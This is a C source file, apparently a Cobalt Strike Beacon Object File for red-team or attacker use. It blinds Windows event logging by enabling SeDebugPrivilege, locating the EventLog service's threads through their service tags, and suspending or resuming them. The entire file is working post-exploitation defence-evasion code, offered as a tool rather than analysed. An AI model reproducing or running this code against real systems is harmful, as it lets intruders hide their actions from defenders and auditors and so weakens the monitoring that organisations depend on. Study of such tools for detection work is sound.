blindeventlog.c 7.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266
  1. #include <windows.h>
  2. #include <Strsafe.h>
  3. #include <tlhelp32.h>
  4. #include "blindeventlog.h"
  5. #include "beacon.h"
  6. #pragma comment(lib,"Advapi32.lib")
  7. #pragma comment(lib,"shell32.lib")
  8. //Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
  9. HRESULT BeaconPrintToStreamW(_In_z_ LPCWSTR lpwFormat, ...) {
  10. HRESULT hr = S_FALSE;
  11. va_list argList;
  12. DWORD dwWritten = 0;
  13. if (g_lpStream <= (LPSTREAM)1) {
  14. hr = OLE32$CreateStreamOnHGlobal(NULL, TRUE, &g_lpStream);
  15. if (FAILED(hr)) {
  16. return hr;
  17. }
  18. }
  19. if (g_lpwPrintBuffer <= (LPWSTR)1) {
  20. g_lpwPrintBuffer = (LPWSTR)MSVCRT$calloc(MAX_STRING, sizeof(WCHAR));
  21. if (g_lpwPrintBuffer == NULL) {
  22. hr = E_FAIL;
  23. goto CleanUp;
  24. }
  25. }
  26. va_start(argList, lpwFormat);
  27. if (!MSVCRT$_vsnwprintf_s(g_lpwPrintBuffer, MAX_STRING, MAX_STRING -1, lpwFormat, argList)) {
  28. hr = E_FAIL;
  29. goto CleanUp;
  30. }
  31. if (g_lpStream != NULL) {
  32. if (FAILED(hr = g_lpStream->lpVtbl->Write(g_lpStream, g_lpwPrintBuffer, (ULONG)MSVCRT$wcslen(g_lpwPrintBuffer) * sizeof(WCHAR), &dwWritten))) {
  33. goto CleanUp;
  34. }
  35. }
  36. hr = S_OK;
  37. CleanUp:
  38. if (g_lpwPrintBuffer != NULL) {
  39. MSVCRT$memset(g_lpwPrintBuffer, 0, MAX_STRING * sizeof(WCHAR));
  40. }
  41. va_end(argList);
  42. return hr;
  43. }
  44. //Code from: https://github.com/outflanknl/C2-Tool-Collection/blob/main/BOF/Psx/SOURCE/Psx.c
  45. VOID BeaconOutputStreamW() {
  46. STATSTG ssStreamData = { 0 };
  47. SIZE_T cbSize = 0;
  48. ULONG cbRead = 0;
  49. LARGE_INTEGER pos;
  50. LPWSTR lpwOutput = NULL;
  51. if (FAILED(g_lpStream->lpVtbl->Stat(g_lpStream, &ssStreamData, STATFLAG_NONAME))) {
  52. return;
  53. }
  54. cbSize = ssStreamData.cbSize.LowPart;
  55. lpwOutput = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbSize + 1);
  56. if (lpwOutput != NULL) {
  57. pos.QuadPart = 0;
  58. if (FAILED(g_lpStream->lpVtbl->Seek(g_lpStream, pos, STREAM_SEEK_SET, NULL))) {
  59. goto CleanUp;
  60. }
  61. if (FAILED(g_lpStream->lpVtbl->Read(g_lpStream, lpwOutput, (ULONG)cbSize, &cbRead))) {
  62. goto CleanUp;
  63. }
  64. BeaconPrintf(CALLBACK_OUTPUT, "%ls", lpwOutput);
  65. }
  66. CleanUp:
  67. if (g_lpStream != NULL) {
  68. g_lpStream->lpVtbl->Release(g_lpStream);
  69. g_lpStream = NULL;
  70. }
  71. if (g_lpwPrintBuffer != NULL) {
  72. MSVCRT$free(g_lpwPrintBuffer);
  73. g_lpwPrintBuffer = NULL;
  74. }
  75. if (lpwOutput != NULL) {
  76. KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpwOutput);
  77. }
  78. return;
  79. }
  80. BOOL SetPrivilege(LPCTSTR lpszPrivilege, BOOL bEnablePrivilege) {
  81. HANDLE hToken;
  82. TOKEN_PRIVILEGES tp;
  83. LUID luid;
  84. if (!Advapi32$OpenProcessToken(KERNEL32$GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) return FALSE;
  85. if (!Advapi32$LookupPrivilegeValueA(NULL, lpszPrivilege, &luid)) return FALSE;
  86. tp.PrivilegeCount = 1;
  87. tp.Privileges[0].Luid = luid;
  88. if (bEnablePrivilege)
  89. tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  90. else
  91. tp.Privileges[0].Attributes = 0;
  92. if (!Advapi32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES) NULL, (PDWORD) NULL) ) return FALSE;
  93. if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) return FALSE;
  94. return TRUE;
  95. }
  96. BOOL Eventlog(int action) {
  97. SERVICE_STATUS_PROCESS svcStatus;
  98. svcStatus.dwServiceType = 0;
  99. svcStatus.dwCurrentState = 0;
  100. svcStatus.dwControlsAccepted = 0;
  101. svcStatus.dwWin32ExitCode = 0;
  102. svcStatus.dwServiceSpecificExitCode = 0;
  103. svcStatus.dwCheckPoint = 0;
  104. svcStatus.dwWaitHint = 0;
  105. svcStatus.dwProcessId = 0;
  106. svcStatus.dwServiceFlags = 0;
  107. DWORD bytesNeeded = 0;
  108. HANDLE hSvcProc = NULL;
  109. HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
  110. THREADENTRY32 te32;
  111. THREAD_BASIC_INFORMATION threadBasicInfo;
  112. PVOID subProcessTag = NULL;
  113. BOOL bIsWoW64 = FALSE;
  114. DWORD dwOffset = NULL;
  115. BOOL result = FALSE;
  116. NtQueryInformationThread_t pNtQueryInformationThread = (NtQueryInformationThread_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryInformationThread");
  117. I_QueryTagInformation_t pI_QueryTagInformation = (I_QueryTagInformation_t) GetProcAddress(GetModuleHandle("advapi32.dll"), "I_QueryTagInformation");
  118. SC_HANDLE sc = Advapi32$OpenSCManagerA(".", NULL, MAXIMUM_ALLOWED);
  119. SC_HANDLE svc = Advapi32$OpenServiceA(sc, "EventLog", MAXIMUM_ALLOWED);
  120. Advapi32$QueryServiceStatusEx(svc, SC_STATUS_PROCESS_INFO, (LPBYTE) &svcStatus, sizeof(svcStatus), &bytesNeeded);
  121. DWORD svcPID = svcStatus.dwProcessId;
  122. hSvcProc = KERNEL32$OpenProcess(PROCESS_VM_READ, FALSE, svcPID);
  123. if (hSvcProc == NULL) {
  124. BeaconPrintf(CALLBACK_ERROR,"[-] Failed to open handle to eventlog process: %d\n", svcPID);
  125. return result;
  126. }
  127. BeaconPrintToStreamW(L"[+] Opened handle to eventlog process: %d\n", svcPID);
  128. hThreadSnap = KERNEL32$CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
  129. if (hThreadSnap == INVALID_HANDLE_VALUE) return result;
  130. te32.dwSize = sizeof(THREADENTRY32);
  131. if (!KERNEL32$Thread32First(hThreadSnap, &te32)) {
  132. KERNEL32$CloseHandle(hThreadSnap);
  133. return result;
  134. }
  135. do {
  136. if (te32.th32OwnerProcessID == svcPID) {
  137. HANDLE hThread = KERNEL32$OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
  138. if (hThread == NULL) {
  139. return result;
  140. }
  141. NTSTATUS status = pNtQueryInformationThread(hThread, (THREAD_INFORMATION_CLASS) 0, &threadBasicInfo, sizeof(threadBasicInfo), NULL);
  142. bIsWoW64 = KERNEL32$IsWow64Process(hSvcProc, &bIsWoW64);
  143. if (!bIsWoW64)
  144. dwOffset = 0x1720;
  145. else
  146. dwOffset = 0xf60;
  147. KERNEL32$ReadProcessMemory(hSvcProc, ((PBYTE)threadBasicInfo.pTebBaseAddress + dwOffset), &subProcessTag, sizeof(subProcessTag), NULL);
  148. if (!subProcessTag) {
  149. KERNEL32$CloseHandle(hThread);
  150. continue;
  151. }
  152. SC_SERVICE_TAG_QUERY query = { 0 };
  153. if (pI_QueryTagInformation) {
  154. query.processId = (ULONG) svcPID;
  155. query.serviceTag = (ULONG) subProcessTag;
  156. query.reserved = 0;
  157. query.pBuffer = NULL;
  158. pI_QueryTagInformation(NULL, ServiceNameFromTagInformation, &query);
  159. if (MSVCRT$_wcsicmp((wchar_t *) query.pBuffer, L"eventlog") == 0) {
  160. if(action == 1 && KERNEL32$SuspendThread(hThread) != -1) {
  161. BeaconPrintToStreamW(L"[+] Suspended Eventlog thread: %d\n", te32.th32ThreadID);
  162. result = TRUE;
  163. }
  164. else if (action == 2 && KERNEL32$ResumeThread(hThread) != -1) {
  165. BeaconPrintToStreamW(L"[+] Resumed Eventlog thread: %d\n", te32.th32ThreadID);
  166. result = TRUE;
  167. }
  168. else {
  169. BeaconPrintToStreamW(L"[-] Failed to change the state of the Eventlog thread: %d\n", te32.th32ThreadID);
  170. result = FALSE;
  171. }
  172. }
  173. }
  174. KERNEL32$CloseHandle(hThread);
  175. }
  176. } while (KERNEL32$Thread32Next(hThreadSnap, &te32));
  177. KERNEL32$CloseHandle(hThreadSnap);
  178. KERNEL32$CloseHandle(hSvcProc);
  179. return result;
  180. }
  181. int go(char *args, int len) {
  182. BOOL res = NULL;
  183. CHAR *action;
  184. datap parser;
  185. BeaconDataParse(&parser, args, len);
  186. action = BeaconDataExtract(&parser, NULL);
  187. if (!SetPrivilege(SE_DEBUG_NAME, ENABLE)) {
  188. BeaconPrintf(CALLBACK_ERROR, "Not enough privileges to interact with Eventlog.\n");
  189. return 0;
  190. }
  191. if (MSVCRT$strcmp(action, "suspend") == 0) {
  192. res = Eventlog(1);
  193. }
  194. else if (MSVCRT$strcmp(action, "resume") == 0) {
  195. res = Eventlog(2);
  196. }
  197. else {
  198. BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following options: suspend | resume\n");
  199. return 0;
  200. }
  201. if(!res) BeaconPrintf(CALLBACK_ERROR, "Failed to blind Eventlog!\n");
  202. else {
  203. BeaconOutputStreamW();
  204. BeaconPrintf(CALLBACK_OUTPUT, "[+] DONE");
  205. }
  206. return 0;
  207. }